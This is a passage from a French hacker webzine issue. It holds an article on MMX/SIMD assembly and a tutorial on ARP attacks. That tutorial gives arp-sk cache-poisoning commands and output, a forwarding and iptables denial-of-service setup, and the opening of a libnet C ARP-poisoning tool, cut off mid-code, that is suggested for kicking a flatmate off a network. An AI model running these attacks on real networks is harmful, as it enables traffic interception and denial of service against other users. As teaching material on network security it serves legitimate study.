Articles

> Editorial

Auteur: aaSSfxxx

Introduction

Bienvenue dans ce premier numéro de ce magazine de N-PN !

Ce webzine sera le premier d'une longue lignée, du moins nous l'espérons, et a pour but de vous fournir des articles de qualité, tout en essayant de se rendre accessible et compréhensible aux plus débutants d'entre nous.
Comme vous pourrez le constater lors de la lecture, ce numéro est plus orienté vers le reverse-engineering et la programmation avec le langage assembleur, bien que ce numéro comporte un article sur la stéganographie ainsi que sur le protocole ARP, pour souffler un peu entre deux lignes d'assembleur.

Ce magazine est publié en HTML5, qui tient dans un fichier unique, afin d'éviter des étapes inutiles avant la lecture et le rendre accessible depuis quel appareil mobile (smartphone, tablette, netbook...) capable de supporter javascript et HTML5 (ce qui devrait être le cas). De plus, diffuser le zine sous cette forme permet d'éviter les liens morts, étant donné que toutes les ressources (images, fichiers d'exemple) sont directement stockés dans le fichier html.

Avant de vous laisser découvrir le sommaire, je tiens particulièrement à remercier spin, Luxerails, kallimero, fr0g, spartal1n qui ont rédigé les articles de ce zine, ainsi que Booster2ooo, qui est a créé la maquette de ce webzine.

Au menu

> Un aperçu des instructions SIMD

Auteur: spin

Ce court article, surtout théorique, présente d’une manière restreinte l’intérêt des instructions simd (Single Instruction Multiple Data) à celui qui programme déjà en assembleur – même à un débutant. Cet article n’est pas une initiation à la programmation avec simd, mais plutôt une discussion philosophique sur les bienfaits des extensions simd.

0x01 - Introduction

Aujourd’hui, l’intérêt de programmer en assembleur peut paraître assez moindre ; les compilateurs des langages haut-niveau produisent du code assez bon. Puis quand bien même un code généré par un compilateur ne serait pas aussi efficient qu’un code assembleur pensé par un humain, les machines de nos jours sont telles que la perte de performance serait trop infime pour que l’on s’en soucie. La question du pourquoi programmer ou continuer de programmer en assembleur fait l’objet d’un débat que je trouve tout-à-fait inintéressant. Programme en assembleur celui qui en a la volonté. Cependant, programmer en assembleur ne signifie pas programmer comme dans la pré-histoire.

De nos jours, les processeurs grand-public ne disposent plus d’instructions aussi primitives qu’on pourrait le croire – bien au contraire – et paradoxalement certaine de ces instructions sont moins primitives que des instructions d’un langage haut-niveau tel que le C.

0x02 - Il fut un temps

Tout au long de cet article nous parlerons de vecteurs. De ce pas, introduisons deux vecteurs tri-dimensionnels u et v, soient-ils :

                                
                →   ⎛ 42 ⎞      →   ⎛ 4 ⎞
                u = ⎜ 3  ⎟  et  v = ⎜ 6 ⎟
                    ⎝ 8	 ⎠          ⎝ 1	⎠
                    

L’enjeu est le suivant : réaliser la somme des deux vecteurs u et v. Soit w le vecteur somme tel que :

                →   →   →
                w = u + v
                 
                    ⎛ 42 ⎞   ⎛ 6 ⎞   ⎛ 42 + 4 ⎞
                  = ⎜ 3  ⎟ + ⎜ 4 ⎟ = ⎜  3 + 6 ⎟
                    ⎝ 8	 ⎠   ⎝ 1 ⎠   ⎝  8 + 1 ⎠
	        
                    

Techniquement et plus concrètement, nos vecteurs auront des composantes de chacune un octet. Les lecteurs ayant déjà pratiqué l’assembleur auront une idée quant à la représentation de ces valeurs en mémoire.

                u: db 42, 3, 8  ; vecteur u
                v: db  4, 6, 1  ; vecteur v
                w: rb 3         ; Reserve 3 Bytes
		    

L’algorithme le plus simple qui soit pour effectuer la somme vectorielle en assembleur est le suivant : charger la première composante du vecteur u dans un registre – disons le registre AL –, lui additionner la première composante du vecteur v→. Placer le contenu du registre dans la mémoire allouée pour la première composante du vecteur w→. En faire de même pour les autres composantes. Voici le code correspondant :

                mov al, [u]
                add al, [v]
                mov [w], al     ; 1re composante de w calculée

                mov al, [u+1]
                add al, [v+1]
                mov [w+1], al   ; 2e composante de w calculée

                mov al, [u+2]
                add al, [v+2]
                mov [w+2], al   ; 3e composante de w calculée


                u: db 42, 3, 8
                v: db  4, 6, 1
                w: rb 3
               	   

Par cette méthode, dite séquentielle, il nous est nécessaire d’user de neuf instructions afin d’effectuer notre addition vectorielle. Ce programme fonctionnerait parfaitement sur un processeur Intel 8086 datant de 1978. Ne vous-semblerait-il pas plus sage de trouver autre chose ?

0x03 - De nos jours

Depuis l’ère du calcul vectoriel « maison », les processeurs intègrent de nouvelles extensions prévu à ce type de calcul – les extensions simd (Single Instruction Multiple Data). Une extension est généralement le couple d’un jeu d’instructions et d’un jeu de registres, ces derniers ayant un usage en particulier. Les extensions simd furent dans un but de vectorisations des calculs. Le paradigme – s’opposant totalement avec le paradigme séquentiel – est le suivant : ayant une donnée multiple (un vecteur, une matrice), nous disposons d’instructions capable d’opérer sur la donnée multiple directement. En d’autre termes, le processeur sait ce qu’est un vecteur.

Les processeurs Intel et AMD se sont vus dotés de nouvelles extensions simd ces dernières années, notamment MMX (MultiMedia eXtensions) et SSE (Streaming Simd Extensions). Dans le présent article, seul un aperçu de l’extension MMX sera mis en application.

L’extension MMX, introduite avec le Pentium II en 1997, est composée d’un jeu d’une cinquantaine d’instructions, ainsi que huit registres 64 bits portant les noms : MM0, MM1, MM2, MM3, MM4, MM5, MM6 et MM7. Un seul de ces registre peut contenir une donnée multiple, soit une donnée de deux composantes de 32 bits, une donnée de quatre composantes de 16 bits ou bien une donnée de huit composantes de 8 bits.

Reprenons notre premier programme : l’addition des deux vecteurs u et v. MMX nous offre des instructions d’opération sur plusieurs composantes constituant la donnée d’un seul registre. En premier lieu, il nous faudrait avant tout pouvoir placer nos données dans ces fameux registre MMn. MMX propose alors deux instructions de déplacement de données – des instructions mov spéciales – qui sont movd (Move Doubleword – double mot de 32 bits) ou movq (Move Quadword – quadruple mot de 64 bits). Nous utiliserons évidemment l’instruction movd qui déplace 4 octets (32 bits). Nos vecteurs ayant seulement trois composantes d’un octet chacune, il nous suffira juste de définir une quatrième composante étant égale à 0.

                u: db 42, 3, 8, 0
                v: db  4, 6, 1, 0
                w: rd  1           ; Reserve 1 Doubleword (4 octets)
                

Une telle instruction, comme nous nous en doutons, déplacera un vecteurs ayant une taille de 32 bits dans la partie basse d’un des registres MMn. La partie haute sera alors automatiquement mise à zéro.

Ici l’algorithme serait le suivant : placer un vecteur dans un registre MMn, placer l’autre vecteur dans le registre MMm, puis additionner les deux vecteurs. Remarquez que cette fois-ci nous parlons d’un vecteur comme étant une entité reconnue par le processeur, au même titre qu’un nombre, il n’y a plus de pointeur sur une chaîne de données.

L’extension MMX fournit diverses instructions d’addition, pour chaque cas. Le cas intéressant ici est l’instruction d’addition sur des composantes d’un octet : paddb. Il est important de noter que cette instruction effectue des additions sur des entiers non-signés, soit des entiers naturels.1

                movd mm0, [u]
                movd mm1, [v]
                paddb mm0, mm1

                ; mm0 contient désormais le vecteur somme

                movd [w], mm0

                u: db 42, 3, 8, 0
                v: db  4, 6, 1, 0
                w: rd  1
                

Ce programme compte ainsi quatre instructions dans le but de réaliser l’addition vectorielle. Il aurait été possible de réaliser le même programme de la façon suivante :

                movd mm0, [u]
                paddb mm0, [v]
                movd [w], mm0

                u: db 42, 3, 8, 0
                v: db  4, 6, 1, 0
                w: rd  1
                

Dans le précédent programme, nous additionnons le vecteur dans MM0 directement avec un vecteur en mémoire. Nous avons donc implémenté notre addition vectorielle en seulement trois instructions. Souvenons-nous que le programme séquentiel en comptait neuf.

Le lecteur désireux de connaître l’extension MMX dans les moindres détails peut se reporter au chapitre 9, Programming With the Intel MMX Technology, du manuel Intel, volume 1 [2].

0x04 - Applications concrètes

Nous savons à présent implémenter une addition vectorielle. Programmer en assembleur de façon moderne est fort bien, mais encore faudrait-il pouvoir tirer profit de cette technologie dans des applications concrètes. Typiquement, les instructions simd voient leur utilité dans le traitement multimédia ou dans les jeux vidéos.

Simulation d’éclairage

Le produit scalaire (aussi connu sous le nom de dot product) est beaucoup utilisé par les logiciels de rendus 3D ; en simplifiant à outrance, une forme 3D sont un ensemble de facettes (qui constituent la surface de la forme). Afin de connaître l’éclairage que subit chaque facette, le logiciel effectuera des tests en fonction du vecteur normal (perpendiculaire) ni à chaque facette et du vecteur l qui représente la source d’éclairage. Le sens du vecteur l indiquera le sens où l’éclairage se propage.

Le résultat du produit scalaire d’un vecteur ni et du vecteur l (notée ni·l) sera un paramètre influant sur l’intensité de l’éclairage d’une facette.

L’extension SSE4.1, introduite en 2007, nous offre justement deux instructions de produit scalaire sur les vecteurs : dpps pour la précision simple et dppd pour la précision double. Voilà qui peut être utile, aussi bien dans un jeu vidéo que dans un logiciel de modélisation tel que Blender.

Traitement d’image

Considérons une image matricielle, étant donc une grille de pixels. Il est intéressant, par exemple lors d’un éclaircissement sur l’image entière, de pouvoir effectuer l’opération sur plusieurs pixels en même temps, au lieu d’opérer pixel par pixel.

0x05 - Comparaison avec gcc

Nous implémentons à présent l’addition vectorielle en langage C, que nous compilerons avec gcc 4.6.2, dernière version à ce jour. Nous pourrons demander à gcc d’utiliser l’extension MMX – sinon il est clair que le programme assembleur sera plus efficient – grâce à la suivante commande : gcc -mmmx -masm=intel -S. Les options -S et -masm=intel spécifient que nous désirons obtenir le code assembleur généré, en syntaxe Intel. l’option -mmmx indique, évidemment, que gcc devra générer du code avec des instructions MMX, appelée MMX built-in function par la documentation gcc. Normalement, gcc aura recours à la fonction v8qi __builtin_ia32_paddb (v8qi, v8qi) si il est aussi futé qu’un humain. [1]. Voici le code :

                typedef struct
                {
                    char x;
                    char y;
                    char z;
                } Vect;


                Vect sumVect(Vect v1, Vect v2)
                {
                    Vect w = {v1.x + v2.x, v1.y + v2.y, v1.z + v2.z};
                    return w;
                }
                
Après un gcc -mmmx -masm=intel -S nous obtenons ceci :
                sumVect:
                ; début prologue
                    push    ebp
                    mov    ebp, esp
                    sub    esp, 16
                ; fin prologue
                    movzx    eax, BYTE PTR [ebp+12]
                    mov    edx, eax
                    movzx    eax, BYTE PTR [ebp+16]
                    add    eax, edx
                    mov    BYTE PTR [ebp-3], al
                    movzx    eax, BYTE PTR [ebp+13]
                    mov    edx, eax
                    movzx    eax, BYTE PTR [ebp+17]
                    add    eax, edx
                    mov    BYTE PTR [ebp-2], al
                    movzx    eax, BYTE PTR [ebp+14]
                    mov    edx, eax
                    movzx    eax, BYTE PTR [ebp+18]
                    add    eax, edx
                    mov    BYTE PTR [ebp-1], al
                    mov    eax, DWORD PTR [ebp+8]
                    movzx    edx, WORD PTR [ebp-3]
                    mov    WORD PTR [eax], dx
                    movzx    edx, BYTE PTR [ebp-1]
                    mov    BYTE PTR [eax+2], dl
                ; début épilogue
                    mov    eax, DWORD PTR [ebp+8]
                    leave
                ; fin épilogue
                

Sans compter le prologue et l’épilogue de fonction, nous avons vingt instructions nécessaires pour effectuer l’addition vectorielle. Non, cela n’est pas un troll ; souvenez-vous, la différence de performance entre le code de gcc et le code humain est infime, de nos jours.

0x06 - Conclusion

De nos jours, nous pouvons en effet nous passer de tout programmer en assembleur. Mais les extensions simd sont tellement magiques et puissantes qu’il serait dommage de ne pas en faire usage, d’autant plus que les compilateurs ont visiblement du mal à générer du code simd pour l’instant.

0x07 - Références et notes

  1. GCC 4.6.2 Manual.
  2. Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 1: Basic Architecture.


  1. Formellement, un entier non-signé est un entier dans un ensemble E ⊂ ℕ tel que : E = { n ∣ n ≤ 2p−1 } où p est le nombre de bits sur lequel on représente le nombre.

> Toutes les possibilités de l'ARP

Auteur: spartal1n

En bref, le protocole ARP (Address Resolution Protocol) permet de faire correspondre adresses IP et adresses physiques (appelées adresses MAC) sur un réseau local (LAN). Les attaques via ce protocole sont connues mais néanmoins, les conséquences de ces attaques sont rarement appréhendées à leur juste mesure. Cet article va donc vous permettre de les connaître. Je décline donc responsabilité devant toutes utilisations mal intentionnés.

0x01 - Introduction

Le modèle OSI a été défini par l’International Standardization Organisation (ISO) afin de mettre en place un standard de communication entre les ordinateurs d’un réseau, il comporte sept couches que je ne developperai pas. Nous allons uniquement nous intéresser aux couches dites basses:

  • la couche liaison (niveau 2) sert d’interface entre la carte réseau et méthode d’accès.
  • la couche réseau (niveau 3) gère l’adressage logique et le routage.

Au niveau 2, les protocoles permettent la transmission des données en s’adaptant aux particularités du support physique (802.3, Ethernet, wireless, token ring, et de nombreux autres encore). A chaque support correspond une trame spécifique et un adressage associé. Le terme adresse MAC (Medium Access Control) désigne une adresse physique, indépendamment du support physique : il s’agit donc des adresses de niveau 2. Les protocoles de niveau 3 suppriment les différences qui existent aux niveaux inférieurs.

0x02 - Protocole Ethernet

Actuellement, la plupart des réseaux locaux (LAN, Local Area Network) reposent sur une couche physique Ethernet. Ce protocole se retrouve également dans la couche liaison.

Nom de l'image
Fig. 1 : Trame Ethernet

La structure d’une trame Ethernet :
les adresses Ethernet s’écrivent sur 6 octets (48 bits) en notation héxadécimale, séparés par le caractère ’:’ (’-’ sur Windows) :
les 3 premiers octets correspondent à un code constructeur (3Com, Sun, ...)
les 3 derniers octets sont attribués par le constructeur.

Ainsi, une adresse Ethernet est supposée être unique. Sous Unix, la commande ifconfig révèle l’adresse Ethernet associée à une carte :

            # sous Linux
            [spartal1n]$ /sbin/ifconfig eth0
            eth0 Link encap:Ethernet HWaddr 00:90:27:6A:58:74
            inet addr:192.168.1.3 Bcast:192.168.1.255 Mask:255.255.255.0
            ...
                    

Remarque: FF:FF:FF:FF:FF:FF correspond à l’adresse de diffusion (broadcast) qui permet d’envoyer un message à toutes les machines, et 00:00:00:00:00:00 est réservée.
On peut aussi modifier son adresse physique (MAC):

            # sous Linux
            [root@spartal1n]# ifconfig eth0 | grep HWaddr
            eth1 Link encap:Ethernet HWaddr 00:10:A4:9B:6D:81
            [root@spartal1n]# ifconfig eth0 down
            [root@spartal1n]# ifconfig eth0 hw ether 11:22:33:44:55:66 up
            [root@spartal1n]# ifconfig eth0 | grep HWaddr
            eth1 Link encap:Ethernet HWaddr 11:22:33:44:55:66
                    
Le type précise le protocole de niveau 3 qui est encapsulé dans le paquet, comme par exemple :
            - 2048 (0x0800) IPv4
            - 2054 (0x0806) ARP
            - 32923 (0x8019) Appletalk
            - 34525 (0x86DD) IPv6
                    

Les données occupent de 46 à 1500 octets. Le bourrage intervient lorsque le paquet encapsulé tient sur moins de 46 octets, comme c’est le cas des paquets ARP.

Cependant une trame Ethernet commence par sept octets codant la valeur 0xAA, suivi d’un huitième octet valant 0xAB. Cet entête permet au matériel de se synchroniser, l’état de synchronisation étant atteint lorsque le destinataire de la trame parvient à décoder correctement les deux derniers octets.

0x03 - Protocole ARP

Nom de l'image
Fig. 2 : paquet ARP (RFC 826)

Le protocole ARP (Address Resolution Protocol RFC 826) permet une correspondance dynamique entre adresses physiques et adresses logiques (adresses respectivement de niveau 2 et 3).

L’identificateur adresse physique détermine la configuration du champ longueur de l’adresse physique. Ainsi une valeur de 1 indique un réseau Ethernet (10 Mbit/s), etc...
L’identificateur adresse logique indique le protocole pour lequel on recherche la correspondance à une adresse logique donnée. Dans le cas du protocole IP, ce champ vaut 0x0800.
Le champ longueur de l’adresse physique indique la longueur en octets de l’adresse MAC, soit 6 pour des adresses Ethernet.
Le champ longueur de l’adresse logique indique la longueur en octets de l’adresse logique, soit 4 pour des adresses IP.
Le code précise la nature du paquet, soit 1 pour une demande (request ou who-has) et 2 pour une réponse (reply ou is at).
L’adresse physique de l’émetteur contient l’adresse Ethernet de l’émetteur. Dans le cas d’une réponse ARP, ce champ révèle l’adresse recherchée.
L’adresse logique de l’émetteur contient l’adresse IP de l’émetteur.
L’adresse physique du récepteur contient l’adresse Ethernet de l’émetteur de paquet. Dans le cas d’une demande ARP, ce champ est vide.
L’adresse logique du récepteur contient l’adresse IP du récepteur.

Le paquet ARP est ensuite encapsulé dans une trame Ethernet.

Lorsqu’une machine émet une trame sur le support physique, toutes les stations y étant connectées la reçoivent. Par la suite, la station doit être capable de déterminer si cette trame lui est destinée. Ainsi, un premier filtre gérant les trames émises et reçues par le système agit au niveau de la pile TCP/IP.

Il compare l’adresse MAC contenue dans une trame à celle associée à la carte réseau (nous sommes ici au niveau 2 du modèle OSI). Si ces deux adresses sont identiques, la partie données de la trame est remontée au niveau 3 pour traitement ultérieur. Dès lors, il est essentiel pour l’instigateur d’une communication de récupérer préalablement l’adresse MAC du destinataire. C’est là qu’intervient le protocole ARP. Chaque système dispose d’une table qui sauvegarde les correspondances (adresse MAC, adresse IP), c'est le cache ARP. Ainsi, une requête ARP est émise uniquement si le destinataire n’est pas présent dans la table.

La commande arp -a affiche le contenu de la table.

Comment rediriger le trafic ?

0x04 - Écoute de réseau (sniffing)

Lorsqu'on veut sniffer un réseau on pense tout de suite à Tcpdump ou Wireshark. Si cette technique est simple à mettre en oeuvre et extrêmement difficile à détecter lorsque le mécanisme est mis en place dans une totale passivité, elle se trouve très vite confrontée à ses limites. D’une part, sur un réseau commuté, chaque branche ne reçoit que les trames destinées à une adresse MAC qui y est présente. De fait, l’utilisation de plus en plus courante de commutateurs (switch) Ethernet (de niveau 2) réduit la portée d’une telle écoute aux seules trames destinées à la station espionne, ce qui, tout le monde en conviendra, présente peu d’intérêt. D’autre part, les trames sniffées ne peuvent pas être détournées de leur destination. Enfin une gestion parfois difficile d’enventuelles erreurs consécutives à l’introduction de données (gestion des numéros de séquence TCP) ou l’évincement d’une des deux parties (gestion des RST de TCP) peut devenir problématique...

0x05 - Usurpation d’adresse MAC (MAC spoofing)

Comme nous l’avons vu plus tôt, une trame Ethernet dispose d’un champ source et d’un champ destination. Ces champs sont examinés par les commutateurs Ethernet pour, d’une part, choisir sur quel port ils vont envoyer une trame reçue par examen de l’adresse MAC destination, et d’autre part mettre à jour une table associant ses ports aux adresses MAC des différents postes par exament de l’adresse MAC source. Cette table, appelée table CAM (Content Adressable Memory) dans la terminologie Cisco, contient pour chaque port les adresses MAC des hôtes qui y sont connectés. Le contenu de cette table est mis à jour dynamiquement pour permettre le changement de port d’un hôte par exemple. L’usurpation d’adresse MAC vise à se servir de ce mécanisme de mise à jour pour forcer le commutateur à croire que la station dont nous voulons écouter le trafic se trouve sur notre port. Le principe est simple : nous envoyons une trame ayant pour adresse source l’adresse MAC de notre victime, et pour destination notre adresse MAC. Le commutateur, en recevant cette trame, met sa table à jour en associant l’adresse MAC de la victime à notre port. Dès lors, l’intégralité du trafic qui lui est destiné est dirigé sur notre port et il ne nous reste plus qu’à le lire tranquillement.

Pour voir le trafic à destination du routeur, j'envoie donc des trames Ethernet dont l’adresse source est 52:54:05:FDBig GrinE:E5 et l’adresse destination 00:10:A4:9B:6D:81. Le commutateur met alors sa table CAM à jour pour ajouter l’adresse MAC 52:54:05:FDBig GrinE:E5 au port auquel je suis connecté, et la supprime du port auquel est connecté le routeur. Une représentation rapide de la table CAM est :

            # Avant
            Port | Adresse MAC
            -------------------------
            1 | 52:54:05:F4:62:30 # cible
            2 | 52:54:05:FDBig GrinE:E5 # routeur
            3 | 00:90:27:6A:58:74 # paul
            4 | 00:10:A4:9B:6D:81 # spartal1n

            #Après
            Port | Adresse MAC
            -------------------------
            1 | 52:54:05:F4:62:30 # cible
            2 |
            3 | 00:90:27:6A:58:74 # paul
            4 | 00:10:A4:9B:6D:81; 52:54:05:FDBig GrinE:E5 # spartal1n, routeur
                    

Mais cette technique n'est pas à l'abri de problème car la victime émet encore des paquets, ce qui place le commutateur face à une situation conflictuelle : il reçoit la même adresse MAC sur deux ports différents. Selon le matériel utilisé et sa configuration, la réaction va d’une mise à jour systématique de la table par le dernier paquet reçu à une désactivation administrative du port usurpant l’adresse.

0x06 - Usurpation d’identité ARP (ARP spoofing)

Devant la limitation de l’usurpation d’adresse MAC en terme de détournement de trafic et de furtivité, nous nous attaquons à la couche supérieure. Enfin, pas tout à fait à la couche supérieure, à savoir IP, mais au mécanisme qui permet de faire la correspondance entre les adresses MAC et les adresses IP : ARP. En effet, si nous arrivons à associer notre adresse MAC à l’adresse IP dont nous voulons obtenir le trafic, nous aurons gagné.

Le cache ARP d’un hôte doit parfois être mis à jour : changement d’adresse IP d’une machine, changement de carte réseau suite à une panne, etc. Pour faire face à de tels changements, le cache observe ce qu’il reçoit au niveau ARP pour tenir ses entrées à jour. Dans le cas qui nous intéresse, lorsqu’un hôte reçoit une trame contenant une réponse ARP et que son cache contient une entrée correspondant à l’adresse IP concernée par celle-ci, il met l’entrée à jour si les informations de son cache diffèrent de celle contenue dans le paquet ARP. Ainsi, lorsque batman va recevoir la réponse de robin, il va mettre son cache à jour et écraser l’entrée que nous venions juste de falsifier. Il est donc nécessaire d’envoyer des réponses de manière continue afin que le cache conserve l’entrée falsifiée que nous voulons.

En outre, cette technique suppose que l’hôte visé ne possède pas d’entrée correspondant à l’adresse IP que nous voulons falsifier, sans quoi aucune requête n’est émise. C’est malheureusement rarement le cas, puisque les adresses les plus intéressantes sont des machines souvent interrogées par nos cibles potentielles.

0x07 - Corruption de cache ARP (ARP cache poisoning)

L’idéal serait donc d’agir directement sur le cache ARP de notre cible, indépendament des requêtes qu’il pourrait être amené à émettre. Pour y parvenir, nous devons être capables de réaliser deux opérations : la création d’une entrée dans le cache et le mise à jour d’entrées existantes.

Pour créer efficacement une entrée dans le cache ARP d’une machine, l’idéal serait de l’amener à émettre une requête en vue de communiquer avec l’adresse IP qui nous intéresse.

Ce comportement est extrêmement intéressant. Si je veux créer une entrée pour l’adresse IP de mon routeur (192.168.1.2) correspondant à son adresse MAC (00:10:A4:9B:6D:81) dans le cache de ma cible, il me suffit de lui envoyer une requête ARP, avec comme adresse MAC source la mienne et comme adresse IP source celle du routeur. Cependant, une requête ARP est émise en diffusion, ce qui est assez embarassant puisque la cible va voir passer cette requête.

Nous jouons donc sur la couche Ethernet, et envoyer notre requête en unicast, à destination de la cible. En effet, la couche ARP ne fait aucune vérification de cohérence entre les entêtes Ethernet et le contenu du message ARP.

            [root@joker]# arp-sk -w -d cible -S routeur -D cible
            + Running mode "who-has"
            + IfName: eth0
            + Source MAC: 00:10:a4:9b:6d:81
            + Source ARP MAC: 00:10:a4:9b:6d:81
            + Source ARP IP : 192.168.1.2 (routeur)
            + Target MAC: 52:54:05:F4:62:30
            + Target ARP MAC: 00:00:00:00:00:00
            + Target ARP IP : 192.168.1.1 (cible)
            --- Start sending --
            To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
            ARP Who has 192.168.1.1 (00:00:00:00:00:00) ?
            Tell 192.168.1.2 (00:10:a4:9b:6d:81)
            --- batman (00:00:00:00:00:00) statistic ---
            To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
            ARP Who has 192.16.1.1 (00:00:00:00:00:00) ?
            Tell 192.168.1.2 (00:10:a4:9b:6d:81)
            1 packets tramitted (each: 42 bytes - total: 42 bytes)

            Si on observe le cache ARP de la cible, on constate que :
            # avant
            [cible]$ arp -a
            alfred (192.168.1.3) at 00:90:27:6a:58:74
            # après
            [cible]$ arp -a
            routeur (192.168.1.2) at 00:10:a4:9b:6d:81
            paul (192.168.1.3) at 00:90:27:6a:58:74
                    

Nous avons donc réussi non seulement à créer une entrée pour le routeur dans le cache ARP de la cible sans que cette dernier n’ait initié la moindre requête, mais surtout, nous avons réussi à lui donner les valeurs qui nous intéressaient. À partir de maintenant, et jusqu’à ce que cette entrée se trouve mise à jour avec des valeurs différentes, lorsque la cible voudra envoyer un paquet IP au routeur, elle le placera dans une trame Ethernet qui nous sera destiné.

Maintenant que nous savons créer des entrées dans le cache ARP d’un hôte, nous nous intéressons à leur mise à jour. Cela sert non seulement pour modifier une entrée existante, mais aussi pour nous garantir le maintient de la valeur des entrées malgré d’éventuelles mises à jour ultérieures du cache. Nous exploitons le mécanisme vu précédemment pour mettre à jour les entrées du cache. Supposons que la cible posséde une entrée valide pour robin :

            [cible]$ arp -a
            routeur (192.168.1.2) at 52:54:05:fdBig Grine:e5
            paul (192.168.1.3) at 00:90:27:6a:58:74
                    

Pour mettre à jour cette entrée, nous envoyons à la cible une réponse ARP venant du routeur, mais associant son IP à notre adresse MAC :

            [root@spartal1n]# arp-sk -r -d cible -S routeur -D cible
            + Running mode "reply"
            + IfName: eth0
            + Source MAC: 00:10:a4:9b:6d:81
            + Source ARP MAC: 00:10:a4:9b:6d:81
            + Source ARP IP : 192.168.1.2 (routeur)
            + Target MAC: 52:54:05:F4:62:30
            + Target ARP MAC: 52:54:05:F4:62:30
            + Target ARP IP : 192.168.1.1 (cible)
            --- Start sending --
            To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
            ARP For 192.168.1.1 (52:54:05:F4:62:30)
            192.168.1.2 is at 00:10:a4:9b:6d:81
            --- batman (52:54:05:F4:62:30) statistic ---
            To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
            ARP For 192.168.1.1 (52:54:05:F4:62:30):
            192.168.1.2 is at 00:10:a4:9b:6d:81
            1 packets tramitted (each: 42 bytes - total: 42 bytes)
            
            Si nous regardons maintenant le cache ARP de batman, nous constatons la mise à jour de l’entrée :
            
            [cible]$ arp -a
            routeur (192.168.1.2) at 00:10:a4:9b:6d:81
            paul (192.168.1.3) at 00:90:27:6a:58:74
                    
Notre objectif est donc atteint. Pour maintenir ces valeurs dans le cache, il nous suffira de renouveler régulièrement l’envoi de ces messages ARP. arp-sk, par défaut, envoie un message toutes les 5 secondes.

Remarque:
Une fois le cache polué, les trames que nous recevons sont semblables à celles que reçoit un routeur : l’adresse MAC destination de la trame Ethernet n’est pas celle associée à l’adresse de destination du paquet IP. Pour renvoyer les trames à leur destinataire légitime, il suffit donc d’activer le routage IP sur le poste attaquant (echo 1 > /proc/sys/net/ipv4/ip_forward ).

0x08 - Les différentes attaques possibles

Écoute

Une fois qu’on a réussi à détourner le trafic émis par un hôte à destination d’un autre, la première chose intéressante à faire est de regarder les données qui transitent avant de les renvoyer à leur véritable destinataire. Nous réalisons donc un Man in the Middle.

Interception (proxying) et vol de connexion (hijacking)

À présent, nous sommes capables de réaliser des opération de détournement de flux gâce a notre Man in the Middle nous pouvons donc modifier ou extraire les données sans qu’aucune des deux parties ne s’en aperçoive. De plus si des systèmes de vérification d’intégrité simples comme CRC32, MD5 ou SHA1 étaient mis en place nous pourrions les recalculer les sommes à la volée.

Passage de pare-feu par usurpation (spoofing)

En utilisant la possibilité de se faire passer pour un hôte quelconque du réseau auprès de la passerelle et le concept d’interception de flux, nous pouvons initier des connexions vers le monde extérieur avec les listes d’accès définies pour l’adresse usurpée. Ceci nous permet d’élever notre niveau de privilège pour les accès réseau à travers un éventuel dispositif de filtrage (pare-feu, proxy).

Déni de service (DoS)

Il est très facile de réaliser des dénis de service en utilisant les attaques sur ARP. Il suffit de refuser les paquets détournés :
[root@joker]# iptables -A FORWARD -p tcp -s routeur -d cible -j DROP
Pour le routeur, la cible est morte... Il est ainsi possible de rendre un serveur de domaines inaccessible à un hôte donné, de manière à se positioner comme serveur secondaire et proposer des mécanismes d’authentification plus faibles.

0x09 - Conlusion

Le protocole Arp permet dans un réseau local de manipuler la plupart des communications, cependant des méthodes pour se protéger existe telles que un filtrage au niveau de l'ARP, ou un adressage Ip/ARP statique, d'un IDS(système de détection d'intrusion) surveillant le cache ARP ou encore l'utilisation d'authentification fore(SSL,etc...) J'espère donc que ce developpement du protocole ARP vous a intéresser, je joint à la fin de cet article un code vous permettant d'éjecter durant une période donnée une personne de votre réseau en utilisant le cahce poising. Dans le prochain article je developperai l'attaque Man in th Middle. Aller à tanto tout le monde !

PS: Pour tout renseignement, coquille ou autre je suis disponible via MP (message privé) ou sur l'irc #N-PN (irc.n-pn.info).

0x0A - Script d'ARP Poisoning

Commençons par installer l'environnement adapté: installer le paquet libnet-dev et supprimer les restrictions du noyau linux sur les requêtes ARP forgées.

Ce code d'ARP Poising a été créé par SpartAl1n. Je me suis inspiré de plusieurs sites pour obtenir après recroisement ce code. Il permet de forger des requêtes ARP ayant pour adresse Mac source votre interface réseau. Vous pouvez grâce à ce code rediriger des paquets pour par exemple éjecter une personne de votre réseau en le redirigeant sur votre machine.( coloc' qui utilise trop de bande passante). Je vous conseil de mettre dans comme adresse IP source l'IP de votre routeur ou de votre Box.

           /*Correction des principaux problèmes:
            * - Supprimer les entrées dans le cache ARP sinon on peut avoir une erreur car deux adresses ip
            * seront liées pour la même ardesse Mac.
            *
            * arp -s (ajouter une entrée statique), exemple : arp -s 192.168.1.2 00:40:33:2D:B5Big GrinD
            * arp -d (supprimer une entrée), exemple : arp -d 192.168.1.2
            *
            * - Supprimer la protection contre l'envoi de requête ARP (Variable sur 1):
            * - Editer /proc/sys/net/ipv4/conf/all/arp_accept
            * - Editer /proc/sys/net/ipv4/conf/eth1/arp_accept
            */

            #include <stdio.h>
            #include <unistd.h>
            #include <sys/socket.h>
            #include <netinet/in.h>
            #include <arpa/inet.h>
            #include <libnet.h>

            ////////////////////////////// USAGE //////////////////////////////////////////

            void usage (char *name)
            {
                printf ("%s - Send arbitrary ARP replies\n", name);
                printf ("Usage: %s -s ip_address -t dest_ip\n", name);
                printf (" -s IP address qu'on pense qu'on est\n");
                printf (" -t IP address du destinataire\n");
                printf (" -m Ethernet MAC address du destinataire\n");
                exit (1);
            }

            ///////////////////////////// MAIN /////////////////////////////////////////////

            int main (int argc, char *argv[])
            {
                char o; /* Pour le processus d'option */
                char *device = NULL; /* interface d'accès au réseau*/
                in_addr_t ipaddr; /* Ip source du paquet*/
                in_addr_t destaddr; /* IP du destinataire*/
                u_int8_t *macaddr; /* Adresse Mac du destinataire */
                libnet_t *l; /* libnet context */
                struct libnet_ether_addr *hwaddr; /* Adresse Mac de la source(nous)*/
                libnet_ptag_t arp = 0, eth = 0; /* Tag ARP protocol et Ethernet protocol*/
                char errbuf[LIBNET_ERRBUF_SIZE]; /* messages d'erreur */
                int r; /* generic return value */
                int nb_paquet=0,i; /* Variable pour l'envoi des paquets*/


                puts("Bienvenue dans le ARP Poising by SpartAl1n");

                if(argc < 3)
                usage (argv[0]);

                while ((o = getopt (argc, argv, "i:tConfused:m:")) > 0)
                {
